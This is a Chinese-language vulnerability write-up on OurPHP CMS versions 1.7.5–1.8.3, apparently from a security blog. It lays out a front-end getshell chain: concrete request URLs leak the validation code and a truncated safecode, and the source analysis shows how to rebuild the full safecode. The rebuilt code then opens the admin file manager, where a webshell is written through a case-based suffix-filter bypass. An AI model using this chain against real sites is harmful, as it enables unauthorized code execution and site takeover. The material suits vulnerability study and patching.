OurPHP20180718前台getshell分析

影响范围：v1.7.5-v1.8.3

先抛出payload，再进行代码分析

前台getshell

首先，访问http://127.0.0.1/ourphp20180718/function/editor/php/upload_json.php?upload_file=1

获取到：

<!--12345||7Hv9WqglWlPJZPgrFVUvpFnP4DmuTCn1-->

构造出：

口令码：12345

安全校验码：7Hv9WqglWlPJZPgrFVUvpFnP4DmuTCn1glWlPJ(跟上图比多了后面六个字符，具体看后面代码分析)

访问 http://127.0.0.1/ourphp20180718//client/manage/ourphp_filebox.php?op=home&folder=./&validation=12345&code=7Hv9WqglWlPJZPgrFVUvpFnP4DmuTCn1glWlPJ

进行文件编辑，写入代码，修改后缀名，直接getshell

代码分析

跟进 function\editor\php\upload_json.php

继续跟进uploadsafe()函数，在function\editor\php\JSON.php238行

function uploadsafe()
    {
        global $ourphp;
        return '<!--'.$ourphp['validation'].'||'.substr($ourphp['safecode'], 0, 32).'-->';
    }

由此可知，只要在前端给参数upload_file传任意值，就会返回validation口令码和safecode安全码的前32位

继续跟，看安全码是如何生成的，在function\install\index.php288行

$ourphp_safecode = getRandomString(32);
$safecode6 = substr($ourphp_safecode , 6 , 6);
$str_f = '$';
$str_tmp = "<?php
    /*
     * Ourphp - CMS建站系统
     * Copyright (C) 2014 ourphp.net
     * 开发者：哈尔滨伟成科技有限公司
     * -------------------------------
     * 网站配置文件 (2016-10-22)
     * -------------------------------
     */

    define('OURPHPNO', true);
    define('WEB_ROOT',substr(dirname(__FILE__), 0, -7));

    include '".$mysql_file."';

    ".$str_f."ourphp = array(
        'webpath' => '/',    // 网站路径
        'validation' => '12345',    // 口令码
        'adminpath' => 'client/manage',        // 管理员默认目录
        'mysqlurl' => '".$ourphp_dburl."',    // 数据库链接地址
        'mysqlname' => '".$ourphp_dbname."',    // 数据库登录账号
        'mysqlpass' => '".$ourphp_dbpass."',    // 数据库登录密码
        'mysqldb' => '".$ourphp_mydb."',    // 数据库表名
        'filesize' => '5000000',    // 附件上传最大值
        'safecode' => '".$ourphp_safecode.$safecode6."',    // 安全校验码
        'mysqltype' => '".$mysql_type."',
    );

    ".$str_f."db = new OurPHP_Mysql(
        ".$str_f."ourphp['mysqlurl'],
        ".$str_f."ourphp['mysqlname'],
        ".$str_f."ourphp['mysqlpass'],
        ".$str_f."ourphp['mysqldb']
    );
?>";

由此可知，安全码是通过随机取一个32位字符，然后取32位的第6位之后的6位字符，拼接到后面形成

由此就能得到后台访问的关键口令码和安全码

再跟后台的文件管理模块，在\client\manage\ourphp_filebox.php45行

由此可知，只要口令码、安全校验码正确就可以对文件进行操作(编辑、重命名)

而且，835行的后缀名过滤，可用大小写绕过了

至此，payload就可以构造好啦

参考：https://xz.aliyun.com/t/4315